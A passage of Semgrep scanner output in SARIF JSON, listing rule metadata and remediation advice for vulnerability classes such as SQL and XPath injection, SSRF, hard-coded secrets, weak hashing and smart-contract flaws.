insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function sweepToken is allowed to be called by anyone"},"help":{"markdown":"Function sweepToken is allowed to be called by anyone\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted)\n - [https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)\n - [https://chainsecurity.com/security-audit/compound-ctoken/](https://chainsecurity.com/security-audit/compound-ctoken/)\n - [https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/](https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/)\n - [https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f)\n","text":"Function sweepToken is allowed to be called by anyone"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","id":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","name":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath","id":"java.spring.xpath.tainted-xpath.tainted-xpath","name":"java.spring.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","id":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","name":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","id":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","name":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","id":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","name":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"You should probably use Filename.get_temp_dirname()."},"help":{"markdown":"You should probably use Filename.get_temp_dirname().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string)\n","text":"You should probably use Filename.get_temp_dirname()."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string","id":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","name":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.slash-tmp.not-portable-tmp-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"help":{"markdown":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n - [https://nginx.org/en/docs/http/ngx_http_core_module.html#internal](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal)\n","text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal","id":"generic.nginx.security.missing-internal.missing-internal","name":"generic.nginx.security.missing-internal.missing-internal","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-internal.missing-internal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"help":{"markdown":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security](https://blog.gopheracademy.com/advent-2017/go-grpc-beyond-basics/#:~:text=disables%20transport%20security)\n","text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"helpUri":"https://semgrep.dev/r/javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","id":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","name":"javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.grpc.security.grpc-nodejs-insecure-connection.grpc-nodejs-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"help":{"markdown":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation)\n - [https://www.oracle.com/java/technologies/javase/tlsreadme.html](https://www.oracle.com/java/technologies/javase/tlsreadme.html)\n","text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","id":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","name":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","id":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","name":"csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.jwt-dotnet.jwt-dotnet-hardcoded-secret.jwt-dotnet-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"help":{"markdown":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length)\n - [https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/](https://www.securesystems.de/blog/forging_ciphertexts_under_Galois_Counter_Mode_for_the_Node_js_crypto_module/)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options](https://nodejs.org/api/crypto.html#cryptocreatedecipherivalgorithm-key-iv-options)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The call to 'createDecipheriv' with the Galois Counter Mode (GCM) mode of operation is missing an expected authentication tag length. If the expected authentication tag length is not specified or otherwise checked, the application might be tricked into verifying a shorter-than-expected authentication tag. This can be abused by an attacker to spoof ciphertexts or recover the implicit authentication key of GCM, allowing arbitrary forgeries."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","id":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","name":"javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.gcm-no-tag-length.gcm-no-tag-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context)\n - [https://docs.python.org/3/library/ssl.html#ssl-security](https://docs.python.org/3/library/ssl.html#ssl-security)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.unverified-ssl-context.unverified-ssl-context","id":"python.lang.security.unverified-ssl-context.unverified-ssl-context","name":"python.lang.security.unverified-ssl-context.unverified-ssl-context","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.unverified-ssl-context.unverified-ssl-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.postgres-taint.postgres-taint","id":"rust.actix.sql.postgres-taint.postgres-taint","name":"rust.actix.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","id":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","name":"go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-hardcoded-secret.gorm-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","id":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","name":"java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"help":{"markdown":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy)\n - [https://chainsecurity.com/heartbreaks-curve-lp-oracles/](https://chainsecurity.com/heartbreaks-curve-lp-oracles/)\n - [https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/](https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/)\n","text":"$POOL.get_virtual_price() call on a Curve pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","id":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","name":"solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.curve-readonly-reentrancy.curve-readonly-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"help":{"markdown":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $translateProvider.translations method can be dangerous if user input is provided to this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","id":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","name":"javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-third-party-angular-translate.detect-angular-translateprovider-translations-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"help":{"markdown":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceDelegateProvider allowlisting can introduce security issues if wildcards are used."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","id":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","name":"javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-resource-loading.detect-angular-resource-loading"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EFS filesystem is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep 